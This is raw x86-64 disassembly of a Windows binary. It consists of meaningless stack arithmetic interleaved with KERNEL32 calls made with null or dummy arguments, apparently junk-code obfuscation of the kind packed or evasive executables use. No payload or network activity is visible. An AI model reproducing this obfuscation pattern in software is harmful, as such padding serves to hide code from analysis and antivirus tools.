mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2cfc], ax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov word [rsp + 0x3670], ax
movzx eax, byte [rsp + 0x7a1]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78f], al
mov rax, qword [rsp + 0x19910]
mov rcx, qword [0x1402bf740]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf14], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdcc]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf770], eax
mov eax, dword [rsp + 0x9148]
mov dword [rsp + 0xcf3c], eax
mov eax, dword [rsp + 0xc264]
mov rcx, qword [0x1402bf760]
mov qword [rsp + 0x19a58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19a58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xbc10]
sar eax, cl
mov dword [rsp + 0x95c8], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x43a], al
movzx eax, word [rsp + 0x3654]
movzx ecx, word [rsp + 0x3184]
or eax, ecx
mov word [rsp + 0x366c], ax
lea rax, [rsp + 0xce48]
mov qword [rsp + 0x19a60], rax
mov eax, dword [rsp + 0xce80]
mov ecx, dword [rsp + 0xa25c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf14], eax
lea rax, [rsp + 0x95c8]
mov qword [rsp + 0x19a68], rax
mov rax, qword [rsp + 0x19a60]
mov ecx, dword [rsp + 0xce30]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad680], eax
movzx eax, word [rsp + 0x35cc]
movzx ecx, word [0x1402bf738]
add eax, ecx
mov rcx, qword [rsp + 0x19870]
mov word [rcx], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov byte [rsp + 0x7a2], al
movsx eax, word [rsp + 0x362c]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x365c], ax
movsx eax, byte [0x1402bf78c]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x782], al
mov eax, dword [rsp + 0xb404]
mov dword [rsp + 0xcf40], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0xce00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c0c], eax
movzx eax, byte [str.yR__]
movzx ecx, byte [rsp + 0x65e]
and eax, ecx
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3658]
sub eax, ecx
mov word [rsp + 0x35f8], ax
mov rax, qword [rsp + 0x199f8]
mov ecx, dword [rsp + 0xcdd0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad65c], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x198e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcf44], eax
lea rax, [rsp + 0xce20]
mov qword [rsp + 0x19a70], rax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xce94]
shr eax, cl
mov dword [rsp + 0xce4c], eax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov word [rsp + 0x3674], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x19a50]
mov byte [rcx], al
mov eax, dword [rsp + 0xcf3c]
movzx ecx, al
mov eax, dword [0x1402ad680]
shl eax, cl
mov dword [rsp + 0xcdcc], eax
mov eax, dword [rsp + 0xce28]
mov dword [rsp + 0xcf48], eax
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcefc], eax
mov rax, qword [0x1402bf768]
mov ecx, dword [rsp + 0xce40]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad684], eax
mov rax, qword [rsp + 0x199c8]
mov rcx, qword [rsp + 0x198c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb164], eax
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d0], ax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3624], ax
movzx eax, word [rsp + 0x3670]
mov word [rsp + 0x3678], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc2]
add eax, ecx
mov byte [rsp + 0x797], al
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov dword [rsp + 0xcf4c], eax
mov eax, dword [rsp + 0xce20]
mov ecx, dword [rsp + 0x9148]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcedc], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov word [rsp + 0x367c], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov byte [0x1402bf6f0], al
mov eax, dword [rsp + 0xcf4c]
mov ecx, dword [rsp + 0xceb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
mov rax, qword [rsp + 0x19938]
mov ecx, dword [rsp + 0xce74]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad2c], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1dc], eax
mov eax, dword [rsp + 0x8100]
mov rcx, qword [rsp + 0x199f8]
mov qword [rsp + 0x19a78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19a78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcde8], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x7a3], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3660], ax
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b8], ax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf1c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xce3c]
mov dword [rsp + 0xcf50], eax
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3604]
or eax, ecx
mov word [0x1402ad2f8], ax
movsx eax, byte [rsp + 0x789]
mov rcx, qword [rsp + 0x199d0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x19880]
mov byte [rcx], al
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0x3634]
movzx ecx, word [rsp + 0x3654]
imul eax, ecx
mov word [rsp + 0x3610], ax
mov rax, qword [rsp + 0x199f8]
mov rcx, qword [rsp + 0x19a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov dword [rsp + 0xcf54], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xc224]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x198c0]
mov dword [rcx], eax
mov eax, dword [0x1402bf6f8]
mov dword [rsp + 0xcf58], eax
mov rax, qword [rsp + 0x198f0]
mov ecx, dword [rsp + 0xcdf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf50], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63d], al
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402bf758], ax
mov eax, dword [rsp + 0xc8f4]
mov ecx, dword [rsp + 0xce90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcea0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x19a80], rax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa934]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf58], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov dword [rsp + 0xcf5c], eax
mov rax, qword [rsp + 0x19a20]
mov ecx, dword [rsp + 0xcee8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x7a4], al
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x35bc]
and eax, ecx
mov word [rsp + 0x364c], ax
movsx eax, word [rsp + 0x3150]
movsx ecx, word [rsp + 0x35a4]
or eax, ecx
mov word [rsp + 0x35e0], ax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x790]
sar eax, cl
mov byte [rsp + 0x1e4], al
mov eax, dword [rsp + 0xcde8]
mov ecx, dword [rsp + 0xa2e8]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad688], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c0c]
shl eax, cl
mov dword [rsp + 0xcd3c], eax
lea rax, [rsp + 0x25b8]
mov qword [rsp + 0x19a88], rax
movzx eax, byte [rsp + 0x187]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x79b], al
mov rax, qword [rsp + 0x19850]
mov ecx, dword [rsp + 0xcdcc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdd8], eax
lea rax, [rsp + 0xce78]
mov qword [rsp + 0x19a90], rax
mov eax, dword [rsp + 0xce18]
mov ecx, dword [rsp + 0xb164]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf3c], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xcf60], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3be]
sub eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35a8]
add eax, ecx
mov word [0x1402ad640], ax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov ecx, dword [0x1402ad688]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xca14], eax
mov eax, dword [rsp + 0xcd70]
mov dword [rsp + 0xcf64], eax
mov rax, qword [rsp + 0x19888]
mov rcx, qword [rsp + 0x19988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcecc], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xcf68], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcedc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19850]
mov dword [rcx], eax
lea rax, [rsp + 0x475]
mov qword [rsp + 0x19a98], rax
movsx eax, word [rsp + 0x35ec]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3150], ax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3670], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [0x1402bf720]
sub eax, ecx
mov byte [0x1402acb63], al
mov eax, dword [rsp + 0xce24]
movzx ecx, al
mov eax, dword [rsp + 0xce94]
shr eax, cl
mov dword [rsp + 0xb6f0], eax
mov eax, dword [rsp + 0x9974]
movzx ecx, al
mov eax, dword [rsp + 0xcce4]
shl eax, cl
mov dword [rsp + 0x9354], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xce38], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfd75
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcf6c], eax
movzx eax, word [0x1402ad670]
mov word [rsp + 0x3680], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a4]
or eax, ecx
mov byte [rsp + 0x63d], al
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcee4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xce60], eax
mov eax, dword [rsp + 0xcf20]
mov dword [rsp + 0xcf70], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xccc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf60], eax
mov rax, qword [rsp + 0x19a70]
mov ecx, dword [rsp + 0x8754]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc658], eax
lea rax, [rsp + 0x79b]
mov qword [0x1402bf6e8], rax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x367c], ax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf20], eax
mov eax, dword [rsp + 0xcde4]
mov dword [rsp + 0xcf74], eax
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3614], ax
movzx eax, byte [rsp + 0x475]
mov byte [rsp + 0x7a5], al
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3640]
add eax, ecx
mov word [rsp + 0x35c0], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a2], al
mov eax, dword [0x1402bf6f4]
mov ecx, dword [rsp + 0xce80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7e0], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcec0]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad668], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcec0], eax
mov eax, dword [rsp + 0xce24]
mov dword [rsp + 0xcf78], eax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcde0]
shl eax, cl
mov dword [rsp + 0xcdcc], eax
movzx eax, word [rsp + 0x3608]
mov word [rsp + 0x3684], ax
movzx eax, byte [rsp + 0x17a]
movzx ecx, byte [rsp + 0x187]
xor eax, ecx
mov byte [rsp + 0x788], al
mov eax, dword [rsp + 0xa958]
mov rcx, qword [rsp + 0x19988]
mov qword [rsp + 0x19aa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19aa0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcd58], eax
mov eax, dword [rsp + 0xcf4c]
mov ecx, dword [rsp + 0xc264]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa234], eax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdfc], eax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
mov dword [0x1402bf6e0], eax
movzx eax, word [rsp + 0x3674]
mov word [rsp + 0x3688], ax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79a]
add eax, ecx
mov byte [rsp + 0x787], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19840], rax
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3630]
sub eax, ecx
mov word [rsp + 0x3648], ax
mov rax, qword [rsp + 0x19898]
movzx eax, byte [rax]
mov byte [rsp + 0x7a6], al
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf78], eax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x951c], eax
movzx eax, byte [rsp + 0x7a3]
movzx ecx, byte [rsp + 0x78f]
imul eax, ecx
mov byte [rsp + 0x798], al
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x364c]
add eax, ecx
mov word [rsp + 0x25b8], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd28], eax
mov rcx, qword [rsp + 0x198b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcde8]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad68c], eax
mov eax, dword [rsp + 0x909c]
mov dword [rsp + 0xcf7c], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198b8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xcf08]
mov dword [rsp + 0xcf80], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19840], rax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x79b], al
movzx eax, word [rsp + 0x35c0]
mov word [rsp + 0x368c], ax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcde4]
shl eax, cl
mov dword [rsp + 0x9c0c], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad64c]
sar eax, cl
mov dword [rsp + 0xcf1c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcef8], eax
mov rax, qword [rsp + 0x19a20]
mov ecx, dword [rsp + 0xced8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8544], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19980]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402bf6e0], eax
mov edx, 0x263836
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcf84], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xa1dc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad2c], eax
mov rax, qword [rsp + 0x19890]
movzx eax, word [rax]
mov word [rsp + 0x3690], ax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79c]
add eax, ecx
mov byte [rsp + 0x782], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x361c]
add eax, ecx
mov word [rsp + 0x3678], ax
movzx eax, byte [rsp + 0x3a1]
mov byte [rsp + 0x7a7], al
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf08], eax
mov rax, qword [rsp + 0x198f0]
mov ecx, dword [rsp + 0xce20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa368], eax
movzx eax, byte [rsp + 0x65e]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a2], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd4]
and eax, ecx
mov word [0x1402ad690], ax
mov rax, qword [rsp + 0x199f8]
mov ecx, dword [rsp + 0xceb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcde8], eax
mov eax, dword [0x1402bf770]
mov dword [rsp + 0xcf88], eax
mov rax, qword [rsp + 0x19a60]
mov ecx, dword [rsp + 0xce20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa528], eax
mov eax, dword [rsp + 0xcf54]
mov dword [rsp + 0xcf8c], eax
movzx eax, word [0x1402bf758]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19858]
mov word [rcx], ax
movzx eax, byte [rsp + 0x580]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x65e], al
mov eax, dword [0x1402ad680]
movzx ecx, al
mov eax, dword [rsp + 0xc330]
shl eax, cl
mov dword [rsp + 0x9498], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdd8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xced0], eax
movsx eax, byte [rsp + 0x7a6]
movsx ecx, byte [rsp + 0x1e4]
xor eax, ecx
mov byte [0x1402acb46], al
mov rax, qword [0x1402bf728]
movzx eax, word [rax]
mov word [rsp + 0x3694], ax
movzx eax, word [rsp + 0x18d8]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3608], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov byte [rsp + 0x7a8], al
mov rax, qword [rsp + 0x199f8]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8100], eax
mov eax, dword [rsp + 0xcf34]
mov ecx, dword [rsp + 0xcdd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa234], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb35c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbfa4], eax
mov edx, 0x654681
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcf18], eax
mov eax, dword [rsp + 0xb35c]
mov ecx, dword [rsp + 0xa958]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf58], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov dword [rsp + 0xcf90], eax
movzx eax, byte [rsp + 0x787]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78d], al
mov r9d, 1
lea r8, [rsp + 0x19918]
mov rdx, qword [rsp + 0x19718]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xcf94], eax
movzx eax, word [rsp + 0x35f8]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad650], ax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce24], eax
mov eax, dword [rsp + 0xcd70]
mov dword [rsp + 0xcf98], eax
mov eax, dword [rsp + 0xce9c]
mov ecx, dword [rsp + 0xc330]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb35c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa6ae
mov rcx, qword [rsp + 0x199e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xce38], eax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov dword [rsp + 0xcf9c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [0x1402ad640]
add eax, ecx
mov word [rsp + 0x3684], ax
lea rdx, [rsp + 0x197a0]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcf84], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x787], al
movsx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x269c]
xor eax, ecx
mov word [rsp + 0x35b4], ax
mov eax, dword [rsp + 0xcf14]
mov dword [0x1402bf6dc], eax
mov eax, dword [rsp + 0xcdf8]
mov dword [rsp + 0xcfa0], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x799], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov word [rsp + 0x3698], ax
mov eax, dword [rsp + 0x909c]
mov ecx, dword [rsp + 0x9c50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa958], eax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x909c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6a4], eax
lea rdx, [rsp + 0x2bfd0]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcfa4], eax
mov rax, qword [rsp + 0x19a30]
mov rcx, qword [rsp + 0x19938]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf00], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov word [rsp + 0x369c], ax
movzx eax, byte [rsp + 0x788]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb76], al
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf78], eax
mov rax, qword [rsp + 0x198b8]
mov rcx, qword [rsp + 0x19980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf3c], eax
mov eax, dword [rsp + 0xcee0]
mov dword [rsp + 0xcfa8], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf0], eax
mov rax, qword [rsp + 0x19a70]
mov ecx, dword [rsp + 0xa368]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb984], eax
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
